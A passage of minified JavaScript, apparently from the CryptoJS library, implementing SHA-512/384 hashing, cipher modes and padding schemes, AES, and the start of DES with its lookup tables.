o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ 